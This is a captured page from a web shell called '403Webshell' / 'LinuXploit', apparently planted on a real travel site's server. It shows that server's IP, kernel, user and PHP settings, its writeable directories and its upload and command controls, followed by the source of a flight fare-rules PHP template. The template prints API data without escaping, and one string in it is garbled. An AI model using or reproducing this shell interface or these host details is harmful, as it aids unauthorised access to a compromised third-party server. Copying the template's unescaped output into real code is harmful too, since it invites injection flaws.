403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2c.hellogtx.com/application/views/scripts/flight/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2c.hellogtx.com/application/views/scripts/flight/getflightfarerules.phtml
<?php
$apiResponse = $this->apiResponse;
$FareRulesCancel = $this->FareRulesCancel;
$IsLCC = $this->IsLCC;
$interNationalSearch = $this->interNationalSearch;
$ICSourceSysId = $this->ICSourceSysId;
$getData = $this->getData;
$intMarkUp = $this->intMarkUp;
$FareRules = $apiResponse['fareRule'];
$ErrorCode = $apiResponse['status']['success'];
$ErrorMessage = 'session expivar(---thirdcolor)';

// echo"<pre>";print_r($apiResponse);die();
//echo '<pre>';print_r($apiResponse);echo '</pre>'

?>

<?php

if ($ICSourceSysId == 7 || $ICSourceSysId == 8) {
?>
    <ul class="nav nav-tabs farerulestab" role="tablist">
        <?php if ($this->FareRulesCancel) {
            $ii = 0;
            foreach ($this->FareRulesCancel as $secTors => $vl) { ?>
                <li role="presentation" class="<?= ($ii == 0) ? 'active' : '' ?>"><a href="#<?= $secTors ?>" aria-controls="profile" role="tab" data-toggle="tab" class="<?= ($ii == 0) ? 'active' : '' ?>"><?= str_replace('_', ' ', $secTors) ?></a></li>
    <?php
                $ii++;
            }
        }
    }
    ?>
    </ul>

    <?php
    if ($ICSourceSysId == 7) { ?>

        <div class="tab-content">
            <?php if ($this->FareRulesCancel) {
                $iii = 0;
                foreach ($this->FareRulesCancel as $secTors => $vl) { ?>
                    <div role="tabpanel" class="tab-pane <?= ($iii == 0) ? 'active' : '' ?>" id="<?= $secTors ?>">
                        <table class="table table-bordered" style="font-size: 12px;">
                            <tr>
                                <th style="padding: 15px; width:15%;">Sector</th>
                                <th style="padding: 15px; width:35%;">Time Frame</th>
                                <th style="padding: 15px; width:50%;">Charges & Description</th>
                            </tr>
                            <tr style="text-align: center;">
                                <td colspan="3" style="text-align: center; color: red;">Mentioned fees is per pax per sector <a flowType="SEARCH" style="float: right;" IsLCC="<?= $getData['IsLCC'] ?>" id="<?= $getData['TraceId'] ?>" class="DetailedRules" href="javascript://">Detailed Rules</a></td>
                            </tr>
                            <?php
                            if ($vl) {
                                foreach ($vl as $key => $value) {
                            ?>
                                    <tr>
                                        <td style="padding: 15px;"><?= $value['sector'] ?></td>
                                        <td style="padding: 15px;"><?= $value['TimeFrame'] ?></td>
                                        <td style="padding: 15px;"><?= $value['CurrencyTitle'] ?> <?= $value['amount'] ?> + <?= $value['additionalFee'] ?>
                                            <?php foreach ($value['policyInfo'] as $poinfo) { 
                                                $bs__ = str_replace(array('__bs__','__be__'), '', $poinfo);
                                                ?>
                                                <p style="line-height: 18px; padding-top: 5px"><?= $bs__ ?></p>
                                            <?php } ?>
                                        </td>
                                    </tr>
                            <?php }
                            } ?>
                        </table>
                    </div>
            <?php
                    $iii++;
                }
            }
            ?>
        </div>
        <?php
        if (($IsLCC == 'true' || $IsLCC == '1')) {

        ?>

            <div class="table-responsive" style="display: none;">
                <table border="1" width="100%">
                    <tbody>
                        <?php if ($ErrorCode == true) { ?>
                            <tr style="text-align: center;">
                                <td colspan="4" style="text-align: left; font-weight: 700;padding: 1px 5px;"><a flowType="SEARCH" IsLCC="<?= $getData['IsLCC'] ?>" id="<?= $getData['TraceId'] ?>" class="DetailedRules" href="javascript://">Detailed Rules</a></td>
                            </tr>
                            <?php if ($FareRules) {
                                foreach ($FareRules as $key => $val) {
                                    $CANCELLATION = $val['fr']['CANCELLATION']['DEFAULT'];
                                    $DATECHANGE = $val['fr']['DATECHANGE']['DEFAULT'];
                                    $NO_SHOW = $val['fr']['NO_SHOW']['DEFAULT'];
                                    $SEAT_CHARGEABLE = $val['fr']['SEAT_CHARGEABLE']['DEFAULT'];
                                    // echo '<pre>';print_r($DATECHANGE);echo '</pre>';
                                    // echo '<pre>';print_r(str_replace('__be__','-',(str_replace('__bs__','<br>',(str_replace('__nls__','<br>',$CANCELLATION['policyInfo']))))));echo '</pre>';

                            ?>
                                    <tr style="text-align: center;">
                                        <td colspan="4" style="text-align: center;font-weight: bold; background:#e1e1e1; font-size: 15px; padding: 5px 0;"><?= $key ?></td>
                                    </tr>
                                    <tr style="text-align: center;">
                                        <td colspan="4" style="text-align: center; color: red;">Mentioned fees is per pax per sector</td>
                                    </tr>
                                    <tr>
                                        <td width="25%" style="text-align: left;" valign="top">
                                            <table border="0" width="100%">
                                                <tr>
                                                    <td style="padding: 5px; border-bottom: 1px solid #ccc; font-weight: 700; background: #e1e1e1;">
                                                        <div class="table_box1"> Cancellation Fee</div>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="padding: 5px;"><i class="fa fa-inr" aria-hidden="true"></i><?= $CANCELLATION['amount'] ?> + <i class="fa fa-inr" aria-hidden="true"></i> <?= $CANCELLATION['additionalFee'] + $intMarkUp ?> <br> <?= str_replace('__be__', '-', (str_replace('__bs__', '<br>', (str_replace('__nls__', '<br>', $CANCELLATION['policyInfo']))))) ?></td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td width="25%" style="text-align: left;" valign="top">
                                            <table border="0" width="100%">
                                                <tr>
                                                    <td style="padding: 5px; border-bottom: 1px solid #ccc; font-weight: 700;background: #e1e1e1;">
                                                        <div class="table_box1">Date Changes Fee</div>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="padding: 5px;"><i class="fa fa-inr" aria-hidden="true"></i><?= $DATECHANGE['amount'] ?> + <i class="fa fa-inr" aria-hidden="true"></i> <?= $CANCELLATION['additionalFee'] + $intMarkUp ?> <br> <?= str_replace('__be__', '-', (str_replace('__bs__', '<br>', (str_replace('__nls__', '<br>', $DATECHANGE['policyInfo']))))) ?></td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td width="25%" style="text-align: left;" valign="top">
                                            <table border="0" width="100%">
                                                <tr>
                                                    <td style="padding: 5px; border-bottom: 1px solid #ccc; font-weight: 700; background: #e1e1e1;">
                                                        <div class="table_box1">No Show</div>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="padding: 5px;"><?= $NO_SHOW['policyInfo'] ?></td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td width="25%" style="text-align: left;" valign="top">
                                            <table border="0" width="100%">
                                                <tr>
                                                    <td style="padding: 5px; border-bottom: 1px solid #ccc; font-weight: 700;background: #e1e1e1;">
                                                        <div class="table_box1">Seat Chargeable</div>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="padding: 5px;"><?= ($SEAT_CHARGEABLE['policyInfo']) ? $SEAT_CHARGEABLE['policyInfo'] : '' ?></td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                            <?php }
                            }
                        } else { ?>
                            <tr style="text-align: center;">
                                <td style="text-align: center;"><?= $ErrorMessage ?></td>
                            </tr>
                        <?php } ?>
                    </tbody>
                </table>
            </div>
        <?php } else { ?>
            <div class="table-responsive" style="display: none;">
                <table border="1" width="100%" class="table-responsive">
                    <tbody>
                        <?php if ($ErrorCode == true) { ?>
                            <tr style="text-align: center;">
                                <td colspan="4" style="text-align: left; font-weight: 700;padding: 1px 5px;"><a flowType="SEARCH" IsLCC="<?= $getData['IsLCC'] ?>" id="<?= $getData['TraceId'] ?>" class="DetailedRules" href="javascript://">Detailed Rules</a></td>
                            </tr>
                            <?php if ($FareRules) {
                                foreach ($FareRules as $key => $val) {
                                    $AFTER_DEPARTURE = $val['fr']['CANCELLATION']['AFTER_DEPARTURE'];
                                    $BEFORE_DEPARTURE = $val['fr']['CANCELLATION']['BEFORE_DEPARTURE'];

                                    $DATECHANGE_AFTER_DEPARTURE = $val['fr']['DATECHANGE']['AFTER_DEPARTURE'];
                                    $DATECHANGE_BEFORE_DEPARTURE = $val['fr']['DATECHANGE']['BEFORE_DEPARTURE'];

                                    $NO_SHOW_AFTER_DEPARTURE = $val['fr']['NO_SHOW']['AFTER_DEPARTURE'];
                                    $NO_SHOW_BEFORE_DEPARTURE = $val['fr']['NO_SHOW']['BEFORE_DEPARTURE'];

                            ?>
                                    <tr style="text-align: center;">
                                        <td colspan="4" style="text-align: center; background:#e1e1e1; font-size: 15px; font-weight: bold;"><?= $key ?></td>
                                    </tr>
                                    <tr style="text-align: center;">
                                        <td colspan="4" style="text-align: center; color: red;">Mentioned fees is per pax per sector</td>
                                    </tr>
                                    <tr>
                                        <td width="25%" style="text-align: left;" valign="top">
                                            <table border="0" width="100%">
                                                <tr>
                                                    <td style="padding: 5px; border-bottom: 1px solid #ccc; font-weight: 700;">
                                                        <div class="table_box1">Cancellation Fee</div>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="padding: 5px;">Before Departure <br>
                                                        <?php if (isset($BEFORE_DEPARTURE['amount']) && $BEFORE_DEPARTURE['amount'] > 0) { ?>
                                                            <i class="fa fa-inr" aria-hidden="true"></i> <?= $BEFORE_DEPARTURE['amount'] ?> +
                                                        <?php } ?>
                                                        <i class="fa fa-inr" aria-hidden="true"></i><?= $BEFORE_DEPARTURE['additionalFee'] + $intMarkUp ?> <?= str_replace('__nls__', '<br>', $BEFORE_DEPARTURE['policyInfo']) ?>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="padding: 5px;">After Departure <br>
                                                        <?php if (isset($AFTER_DEPARTURE['amount']) && $AFTER_DEPARTURE['amount'] > 0) { ?>
                                                            <i class="fa fa-inr" aria-hidden="true"></i> <?= $AFTER_DEPARTURE['amount'] ?> +
                                                        <?php } ?>
                                                        <i class="fa fa-inr" aria-hidden="true"></i><?= $AFTER_DEPARTURE['additionalFee'] + $intMarkUp ?> <?= str_replace('__nls__', '<br>', $AFTER_DEPARTURE['policyInfo']) ?>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td width="25%" style="text-align: left;" valign="top">
                                            <table border="0" width="100%">
                                                <tr>
                                                    <td style="padding: 5px; border-bottom: 1px solid #ccc; font-weight: 700;">
                                                        <div class="table_box1">Date Changes Fee</div>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="padding: 5px;">Before Departure <br>
                                                        <?php if (isset($DATECHANGE_BEFORE_DEPARTURE['amount']) && $DATECHANGE_BEFORE_DEPARTURE['amount'] > 0) { ?>
                                                            <i class="fa fa-inr" aria-hidden="true"></i> <?= $DATECHANGE_BEFORE_DEPARTURE['amount'] ?> +
                                                        <?php } ?>
                                                        <i class="fa fa-inr" aria-hidden="true"></i> <?= $DATECHANGE_BEFORE_DEPARTURE['additionalFee'] + $intMarkUp ?> <?= str_replace('__nls__', '<br>', $DATECHANGE_BEFORE_DEPARTURE['policyInfo']) ?>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="padding: 5px;">After Departure <br>
                                                        <?php if (isset($DATECHANGE_AFTER_DEPARTURE['amount']) && $DATECHANGE_AFTER_DEPARTURE['amount'] > 0) { ?>
                                                            <i class="fa fa-inr" aria-hidden="true"></i> <?= $DATECHANGE_AFTER_DEPARTURE['amount'] ?> +
                                                        <?php } ?>
                                                        <i class="fa fa-inr" aria-hidden="true"></i> <?= $DATECHANGE_AFTER_DEPARTURE['additionalFee'] + $intMarkUp ?> <?= str_replace('__nls__', '<br>', $DATECHANGE_AFTER_DEPARTURE['policyInfo']) ?>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td width="25%" style="text-align: left;" valign="top">
                                            <table border="0" width="100%">
                                                <tr>
                                                    <td style="padding: 5px; border-bottom: 1px solid #ccc; font-weight: 700;">
                                                        <div class="table_box1">No Show</div>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="padding: 5px;">Before Departure <br>
                                                        <?php if (isset($NO_SHOW_BEFORE_DEPARTURE['amount']) && $NO_SHOW_BEFORE_DEPARTURE['amount'] > 0) { ?>
                                                            <i class="fa fa-inr" aria-hidden="true"></i> <?= $NO_SHOW_BEFORE_DEPARTURE['amount'] ?> +
                                                        <?php } ?>
                                                        <i class="fa fa-inr" aria-hidden="true"></i> <?= $NO_SHOW_BEFORE_DEPARTURE['additionalFee'] + $intMarkUp ?> <?= str_replace('__nls__', '<br>', $NO_SHOW_BEFORE_DEPARTURE['policyInfo']) ?>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="padding: 5px;">After Departure <br>
                                                        <?php if (isset($NO_SHOW_AFTER_DEPARTURE['amount']) && $NO_SHOW_AFTER_DEPARTURE['amount'] > 0) { ?>
                                                            <i class="fa fa-inr" aria-hidden="true"></i> <?= $NO_SHOW_AFTER_DEPARTURE['amount'] ?> +
                                                        <?php } ?>
                                                        <i class="fa fa-inr" aria-hidden="true"></i> <?= $NO_SHOW_AFTER_DEPARTURE['additionalFee'] + $intMarkUp ?> <?= str_replace('__nls__', '<br>', $NO_SHOW_AFTER_DEPARTURE['policyInfo']) ?>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                        <td width="25%" style="text-align: left;" valign="top">
                                            <table border="0" width="100%">
                                                <tr>
                                                    <td style="padding: 5px; border-bottom: 1px solid #ccc; font-weight: 700;">
                                                        <div class="table_box1">Seat Chargeable</div>
                                                    </td>
                                                </tr>
                                                <tr>
                                                    <td style="padding: 5px;">As per Airlines</td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                            <?php }
                            }
                        } else { ?>
                            <tr style="text-align: center;">
                                <td style="text-align: center;"><?= $ErrorMessage ?></td>
                            </tr>
                        <?php } ?>
                    </tbody>
                </table>
            </div>
        <?php } ?>
        <div id="FareRulesDdetails"></div>
    <?php } elseif ($ICSourceSysId == 3) {
        $FareRules = $apiResponse['Response']['FareRules'];
        $ErrorCode = $apiResponse['Response']['Error']['ErrorCode'];
        $ErrorMessage = $apiResponse['Response']['Error']['ErrorMessage'];
    ?>
        <table border="0" style="border:1px solid #d7d7d7;" width="100%">
            <tbody>
                <tr style="text-align: center;">
                    <td style="text-align: center;">Detailed Rules</td>
                </tr>
                <?php if ($ErrorCode == 0) { ?>
                    <?php if ($FareRules) {
                        foreach ($FareRules as $val) { ?>
                            <tr style="text-align: center;">
                                <td style="text-align: center; background:#C4EEC8;"><?= $val['Origin'] ?> - <?= $val['Destination'] ?></td>
                            </tr>
                            <tr>
                                <td class="fare_cont_align11" style="text-align: center;display: block; padding: 0 10px;"><?= htmlspecialchars_decode($val['FareRuleDetail']) ?></td>
                            </tr>
                    <?php }
                    }
                } else { ?>
                    <tr style="text-align: center;">
                        <td style="text-align: center;"><?= $ErrorMessage ?></td>
                    </tr>
                <?php } ?>
            </tbody>
        </table>
    <?php } elseif ($ICSourceSysId == 17) { ?>
    <table border="0" style="border:1px solid #d7d7d7;" width="100%">
        <tbody>
            <?php if(($apiResponse['status'] == 1) && !empty($apiResponse['results']['farerules_html'])) {
                $farerules_html = ($apiResponse['results']['farerules_html']);
                foreach ($farerules_html as $val) {
                    $html = (json_decode($val, 1));
            ?>
                    <tr style="text-align: center;">
                        <td style="text-align: center;"><?php echo $html['html']; ?></td>
                    </tr>
                <?php }
            } elseif($apiResponse['status']== 1 && !empty($apiResponse['results']['ApiStatus']['Result']['Rule'])) {
                if($apiResponse['results']['ApiStatus']['Result']['Rule']) {
            ?>
                    <tr style="text-align: center;">
                        <td style="text-align: center;"><?php echo $apiResponse['results']['ApiStatus']['Result']['Rule']; ?></td>
                    </tr>
                <?php }
            }else { ?>
                <tr style="text-align: center;">
                    <td style="text-align: center;">Not found</td>
                </tr>
            <?php } ?>
        </tbody>
    </table>
<?php } else { ?>
        <table border="0" style="border:1px solid #d7d7d7;" width="100%">
            <tbody>
                <?php
                if ($FlightBooking) {
                    foreach ($FlightBooking as $cancel) {
                ?>
                        <tr style="text-align: center;">
                            <td style="text-align: center; background:#C4EEC8;"><?= $cancel['SourceAirportCode'] ?> - <?= $cancel['DestAirportCode'] ?></td>
                        </tr>
                        <tr style="text-align: center;">
                            <td style="text-align: center;"><?= $cancel['FareRules'] ?></td>
                        </tr>
                <?php
                    }
                }
                ?>
            </tbody>
        </table>
    <?php } ?>

Youez - 2016 - github.com/yon3zu
LinuXploit